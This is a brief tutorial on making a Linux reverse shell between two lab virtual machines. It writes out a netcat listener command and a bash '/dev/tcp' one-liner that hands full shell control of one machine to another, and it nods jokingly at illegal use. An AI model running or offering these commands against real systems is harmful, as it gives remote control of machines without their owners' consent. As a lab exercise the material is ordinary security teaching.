Today we’re are going to show you how to make a reverse shell of any Linux machine.
Here in this scenario, we are using two linux based VMs, One is Kali Linux(2017.2) and Other is Backtrack Linux (5r3).
- For Kali Linux Machine IP – 192.168.179.137
- For Backtrack Linux Machine IP – 192.168.179.139
What is Reverse Shell –
Usually when you make any TCP/IP connection between two machines, then one server is handling the connection and other so called a client is trying to make the connection.
Where you can use Reverse Shell –
Just think legally that you want to help a friend but he doesn’t have a server with all port forwarding etc so you can’t connect to his machine, then you can actually use Reverse Shell so that you can get the reverse TCP/IP connection from your friend’s machine with full root access.
Don’t think about illegally 🙂
Now we are going to use Netcat on server side i.e. on BT Machine. Netcat is a free networking utility used for reading/writing from TCP and UDP sockets.
Step 1 – Your first step is to put your machine into listening mode with the help of following command:
Command: nc -l -vv -p 1337
Here, -l stands for Listen mode, -vv stands for verbose mode and -p stands for the port used for the server.
Once the command started in your BT machine, it should look like this:
Step 2 – Now go to client side i.e. Kali Linux Machine which you want to control from yours terminal. Here we’re going to redirect the standard i/o/e of the client bash to the server with the help of bash command:
Command: bash -i &> /dev/tcp/192.168.179.139/1337 0>&1
Here bash -i stands for Interactive bash, &> /dev/tcp/<IP>/<PORT> stands redirects the standard output and error of the bash to the server and 0>&1 means to link the standard input of the bash to the output.
Here both machines are connected to same network via NAT mode so we’ll use our local IP.
As soon as you or your’s friend run the above command in his linux machine, you’ll get connected to that machine and can fully control his machine via shell terminal.